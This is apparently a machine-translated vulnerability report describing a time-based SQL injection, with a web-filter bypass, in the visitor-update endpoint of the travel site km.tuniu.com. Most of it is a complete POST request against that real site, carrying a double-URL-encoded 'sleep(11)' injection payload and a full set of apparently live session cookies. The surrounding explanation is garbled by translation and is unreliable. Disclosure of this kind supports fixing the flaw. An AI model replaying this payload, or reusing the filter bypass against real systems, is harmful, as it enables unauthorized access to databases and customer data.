Touniu main site Delayed Injection + waf Bypass
Tuniu has update injection in the place where the visitor information is modified, but it cannot appear because of waf, because the update information is based on and separated.
Waf is easy to bypass. You can use the second url encoding.
This is because it cannot appear, so it is also difficult to note busy here.
However, substring ('R' from 1 for 1) can be used)
Such a statement will not appear, and the data can be obtained normally,
Although it is difficult to use this point, it can still be used, with the package I tested earlier
POST /main.php?do=online_book_do_visitor HTTP/1.1Host: km.tuniu.comUser-Agent: Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16Accept: */*Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestReferer: http://km.tuniu.com/main.php?do=online_book_visitor&order_id=4550094Content-Length: 285Cookie: p_phone_400=4007-999-999; PHPSESSID=8v1dgvcbbm0elnoprf91chnfv7; tuniu_channel=MTAwLDAsZDdiY2U0NTViYjViMDFhNWExYzk1YTM2ZjZiNDEyY2Q%3D; tuniuuser_citycode=MzMwMg%3D%3D; s_cc=true; s_nr=1421595835812; s_sq=%5B%5BB%5D%5D; __utma=1.151979505.1421595199.1421595199.1421595199.1; __utmb=1.170.9.1421599758357; __utmc=1; __utmz=1.1421595199.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); _tacau=MCxmMWJlYWNiMS03N2M1LTQ0ZjEtOThlMC0wYzc5ZWE2ZTRjMmQs; _tact=Y2UyNzU5NmMtMDIxNS0yMjFjLTgzYjItMDgxODUyOTM0ODVm; _tacz2=taccsr%3D%28direct%29%7Ctacccn%3D%28none%29%7Ctaccmd%3D%28none%29%7Ctaccct%3D%28none%29%7Ctaccrt%3D%28none%29; _taca=1421595199130.1421595199130.1421595199130.1; _tacb=NGYzNDkyNWMtY2ZlNi05MmJjLTA4MDAtOTgxMmFlYjRlZTkx; _tacc=1; tuniuuser_ip_citycode=MjAw; tuniuuser=NzczODQ4Niw2ODIzNjEzODU5LDY4MjM2MTM4NTkmcXVvdDsmYW1wO2d0O3M7JiMwMzk7LDAsMTQyMTU5NTQzMiw5ZjY0OTg2YzdkYzE0NzM0ZDEwZGFiZjM2NWYyMDBlOQ%3D%3D; tuniusub=1; tuniuuser_image=aHR0cDovL20udHVuaXVjZG4uY29tL2ZpbGVicm9rZXIvY2RuL3ByZC83NS8wYy83NTBjMmRhYmFhZjRmYjY4ZjI2NzVlM2NlZjA1YmM2ZC5wbmc%3D; tuniuuser_vip=MA%3D%3D; tuniuuser_level=MA%3D%3D; tuniuuser_id=7738486; tuniuuser_name=NjgyMzYxMzg1OSZxdW90OyZhbXA7Z3Q7czsmIzAzOTs%3D; Hm_lvt_dbdbb8d9c6cd72876c254897549e524b=1421503111,1421591375,1421594808,1421595437; Hm_lpvt_dbdbb8d9c6cd72876c254897549e524b=1421597431; tuniu_app_cc=list_three_days; tuniu_zeus=MzNfMV8yXzFfMV83OjpodHRwOi8vd3d3LnR1bml1LmNvbS9zdGF0aWMveW91amkvOjoyMDE1LTAxLTE4IDIzOjM5OjE0%2CMV8xXzFfMl8xXzE6Omh0dHA6Ly90b3AudHVuaXUuY29tLzo6MjAxNS0wMS0xOCAyMzo0NTozMA%3D%3D%2CMTFfMl8xXzJfNV8xOjpodHRwOi8vd3d3LnR1bml1LmNvbS86OjIwMTUtMDEtMTggMjM6NDY6MDg%3D%2CMV8xXzFfMl8xXzE6Omh0dHA6Ly93d3cudHVuaXUuY29tLzo6MjAxNS0wMS0xOCAyMzo0ODozNQ%3D%3D%2CMTJfMl8xXzFfMl8zOjpodHRwOi8vd3d3LnR1bml1LmNvbS86OjIwMTUtMDEtMTkgMDA6NDk6MTg%3D; visit_history=5186662%2C780023%2C; _um_uuid=f7a45f3da941376f5abce7a65b613f27; __ozlvd1940=1421602934; tuniu_is_login=MQ%3D%3D; tuniu_newer=set_one_day; Hm_lvt_44f54d76a67ba9230a7bb92d5ed5e4ba=1421253828,1421597324; Hm_lpvt_44f54d76a67ba9230a7bb92d5ed5e4ba=1421597366; appdown=1; TUNIUmuser=1c80b2cffeddb233b6a4fbfddb375c15; tuniu_partner=MTAxLDAsLDlmZDgyZThjYTZkNGMwMTlmZTUyNzdlYjJmNTcxYzQ1; pgv_pvi=3638345589; pgv_info=ssi=s4790786375; tel_400=4007996820; PageSwitch=2%2C1429375904; __utmt=1Connection: keep-alivePragma: no-cacheCache-Control: no-cachevisitor_info=123,33071919680425367s1l'+and+sleep%252811%2529+and+'1,1,1968-04-25,1s331s<xx>322313312,,0000-00-00,,èˉ·é???%8B%A9%2C%E8%AF%B7%E9%80%89%E6%8B%A9%2C0%2C1%2C0000-00-00%2C0%2C1%2C0000-00-00%2C%E8%AF%B7%E9%80%89%E6%8B%A9%2C%2C6530909%2C%3B&order_type=&order_id=4550094
Solution:
Filter